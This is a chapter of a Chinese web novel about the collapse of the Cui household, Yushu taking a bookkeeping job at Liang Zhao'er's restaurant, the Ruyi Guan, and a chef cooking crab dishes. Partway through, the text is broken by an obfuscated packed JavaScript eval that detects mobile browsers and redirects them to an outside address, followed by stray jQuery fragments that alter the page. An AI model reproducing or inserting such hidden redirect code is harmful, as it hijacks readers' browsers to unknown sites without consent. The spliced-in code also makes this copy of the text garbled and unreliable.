又说崔家遭了事，一时间宅子里颓成陋室空堂，哀草枯杨之景。余下奴仆皆遣散了归家，签了死契的或被牙人领去再买，或被任家掳去接着做工。
张家两兄弟同玉梳一时间皆没处做活，三人成日里围着张老太转，总算遂了她的愿，可她却不肯了。
“你们倒是去找个活干，家里的开支总得找个来路，不好坐吃山空的呀。”张老太焦急道。
玉梳坐在火炉前一边剥着盐水花生，一边淡淡道：“要我说就是娘成日里唠叨着大哥和官人不见家，不能承欢您膝下才出了如今这档子事。咱们娘还是在菩萨面前挂了脸哩，要不旁人怎么求都求不来的事，却教您做成了！”
她性子虽温和，却也不是个让人搓扁捏圆的面团。
张老太见玉梳有张虎在一旁撑腰也敢讥讽她两句，怒道：“虎哥儿，你倒管管你这混账老婆！”
张虎本就一脑门官司，现在又见张老太和玉梳吵起嘴来更是不耐烦。
他说：“早说了让玉梳来当家，她原先管着崔老爷屋里头那些事，管个家又成甚么难事，如今倒弄成这幅光景！”
“我还没不中用呢，你就要钱给你媳妇，”张老太拍着大腿嚎道，“且不说这家里头还有你大哥，你媳妇当当你的家就算了，还当你大哥的家不成！”
张老太哪里肯将攥了半辈子的钱拱手与玉梳，见自己说不过张虎又连忙扯过张龙这面大旗。
张龙见事关他的利益也对着张虎说：“好了，你对着阿娘吼甚么，生养你一场还结了仇不成？”
“那就分家罢”这句话在张虎嘴里打了个转，最终还是给他咽了下去。玉梳在一旁瞧着心里也有些失望，她仍替张虎说话：“官人嘴笨，心却是好的，娘和大哥这就是误会他了。”
张老太眼珠子一转，又堆着笑道：“老二媳妇，你娘家表妹不是在做生意、开饭馆麽？叫她给你官人和你兄弟寻个活干，不行也叫他们去食肆里头帮帮忙，一年总得给个三五两银子。”
玉梳闻言气得几欲仰倒，也顾不得礼啊教的，直言说：“娘，且不说照儿那需不需要人手，一年三五两银子——亏您也想得出来，她又不是城东头开钱庄的。”
“你既嫁到我们张家来，就是张家人，哪有胳膊肘向外拐的道理。不过叫你去问问，又有甚么打紧？”张老太不满道。
张虎觉得张老太言之有理，觉着去问问也算多条出路。
故而他满脸为难地对着玉梳道：“娘说的也不无道理，玉梳你去问问也不妨事。”
玉梳深深地望了张虎一眼，才提了一篮子咸鸭蛋和酱菜到食肆预备去寻梁照儿。
张老太见她拿了不少，连忙阻止说：“你妹妹麽一个女人家能吃多少东西哩，这都是从高邮那边弄来的好东西，自家人都不够吃呀。”
玉梳不理她，挎上篮子便出了门。她来的时候凑巧，正好食肆一行人正在换匾额。
“你今日怎么得空来了。”梁照儿瞧见玉梳来了，回头笑着说。
她又指挥沈度将匾额摆的更正些，只见那匾额上写着“如意馆”三个大字。梁照儿给食肆起这名字便是希望不仅来用餐的食客能够事事如意，也希望食肆日后也能顺风顺水地经营下去。
玉梳笑着说：“这字写的倒好。”
梁照儿点头道：“是央了蔡郎君写的，他字写得好，扬州城里不少人都请他去写字。”
只见匾额上三字笔画遒劲婀娜，有二王之流美，又不乏柳体之瘦硬，可称上一句方圆兼备。玉梳会写字，自然也会看字，亦点头称赞。
沈度一个利落的翻身从梯子上下来，双臂环胸不屑道：“这样的字值几个钱，拿纸笔来我也能写。”
梁照儿白了他一眼，又指挥道：“好了，你这书房都没上过两天就被赶出来的厌书胚子又要充军。里头东西还没搬完，少在这耍嘴皮子。”
沈度得令又进去干活，梁照儿也引着玉梳进去倒了一盏茶她吃。玉梳将篮子放在桌子上说：“这咸鸭蛋和酱菜都是顶顶好的，你尝尝罢，早饭配着粥吃刚好。”
玉梳是个温柔和婉的女子，梁照儿瞧她这般扭捏的样子，便知她有事在心里。
梁照儿佯作生气道：“你不说清由来，这东西我是不肯收的。”
玉梳攥着帕子思忖了许久才开口道：“我却有一桩事，却不知怎么开口，讲来也是难为情......”
听玉梳讲完其中遭遇，梁照儿点头说：“我听燕环说了崔家的事，璋官人也曾来过。即便你不说，我也想去问问你日后做什么打算。”
张家不好过，梁照儿也知晓。毕竟崔家这一倒也变相相当于公司破产裁员，张家还一连气被裁了三个。此刻梁照儿也算体会到了为什么有人说不要和同事恋爱结婚，鸡蛋不能放在同一个篮子里。
梁照儿又说：“你也瞧见了，我这重新装潢了一番，也需要一个管账的。”
玉梳听到此处再也忍不住掩面啜泣了起来，“我真不知怎样还你这份恩情。”
她透过指缝瞧见桌上那篮子东西，更觉羞愧。梁照儿从前送她的都是四处寻摸来的桂粉，或是精心筹备的席面，而自己却只拎了这些东西便要求人办事。
“原先旁的人都对我避之不及时，唯有你真心帮护我，照理说我也不知该怎么还你呢。”梁照儿递给玉梳一方帕子，又小心地替她拭去腮边的泪。
玉梳抽噎道：“那点子小事，若说还早也还完了。”
梁照儿又不放心地嘱咐说：“不过，我也不是个甚么能容人的。你能来，张家那两兄弟倒算了。一则人手也够了，二则钱都在你手里腰杆也好挺直些，不受你那婆婆磋磨。”
玉梳点头，“我省得的。”
她也不是那些个糊涂虫，万事都紧着婆家人为先，没点自己的谋划。
事情就这般说定了，二人好不容易才见面又闲话了好一阵子，玉梳才匆匆离去。
如今梁照儿手底下虽有几个员工，不再是光杆司令了，却也一同做事。她蹲在地上仔细擦着凳子，沈度站在一边笑道：“不想你心地这般良善。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401539|168708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梁照儿睨了沈度一眼，淡淡道：“我要是个狠心的，就把你一人丢在江里头，如今早就泡发了。”
“好好的讲着话，又说起我来。”沈度无奈道。
梁照儿懒怠理他，轻轻一瞥他又回裾转袖去了后头厨房瞧李瘸子做菜做得如何了。
如意馆预备以李瘸子的两道拿手菜做招牌菜，一道是清炖蟹粉狮子头，另一道则是蟹酿橙。说来梁照儿原对蟹酿橙这道菜有些好奇，她自己从前做过，却并未瞧出和蒸螃蟹有何不同，相反加了橙子二者味道相冲倒有些奇怪。
她瞧李瘸子做了之后才发现这其中的问题就出在橙子上，本朝所称之橙子倒和后世水果摊上卖的橙子并不是同一物，有些像香柚，梁照儿觉着应该是香橼这一类果子的近亲。
梁照儿托玉松从广府那边弄来了一批桃花蟹，正好做蟹酿橙使。只见李瘸子先将那螃蟹洗净蒸熟，又取出蟹肉和蟹黄，再把橙子顶部切开，挖出果肉，将橙壳留作容器。最关键的一步便是将蟹肉和蟹黄与调料混合均匀，梁照儿凑着脑袋想过去瞧李瘸子用了些什么调料，却被李瘸子轰了出去。
他道：“这乃是师门密笺，虽说你是掌柜的，可也不能随便给你看。”
梁照儿可怜兮兮地望着李瘸子说：“李瘸子你别这么小气麽。”
“拜了我作师傅便传给你。”李瘸子隔着木门嚷道。
这倒不是他一时兴起，打在营造处见梁照儿做饭时，他便瞧上了这女子。
李瘸子打小便做了厨子，从事这一行当也有几十年了，大大小小的厨子他见过不少。但许多人在他眼里不过是做菜的匠人，还称不上厨子，因着这些人只知一味按照现有的食笺来复刻食物。但梁照儿却有难得的创新，虽说仍有些瑕疵，却瑕不掩瑜。
梁照儿若是知晓李瘸子对她的评价这般高，必定得羞红了脸。
不过片刻，李瘸子便将两道菜端了出来。梁照儿伸手唤来在一旁干活的沈度，说道：“一起来尝尝味道。”
三人围成一圈，对着两道菜细细品鉴起来。那蟹酿橙里蟹黄和蟹膏虽不如秋天那么肥，却自有一股风味，蟹肉鲜嫩清甜倒更配橙子的清香。蟹肉随着橙子那么一蒸，再辅以酱料，果真是半点腥味也无。再说那蟹粉狮子头，这道菜分外讲究刀工，猪肉要切成石榴米状，不能剁成肉饼。且肉馅要予以虾籽、蟹黄、葱姜水和黄酒等物一起调和着，方可得佳肴鲜味。
尝完这两道菜，梁照儿脑海中只剩下一个字，鲜。
如意馆食材自然是比不过燕来楼，不过讨得一个巧字。再加上李瘸子的厨艺，也能将七分的食材发挥出十二分的味道。
沈度虽是个漂泊江湖的流浪人士，却也吃过不少食肆酒楼，他也认可如意馆的口味虽不能说夺得桂冠，但也算名列前茅。
梁照儿想起那日在建隆寺宝绮应承她的话，她也不管是不是客套话，连忙趁着立文过来取食盒的时候叫他帮忙带给信给宝绮，只管请她来尝尝。
她若应承了自然是喜上加喜，若不来倒也损失不了什么。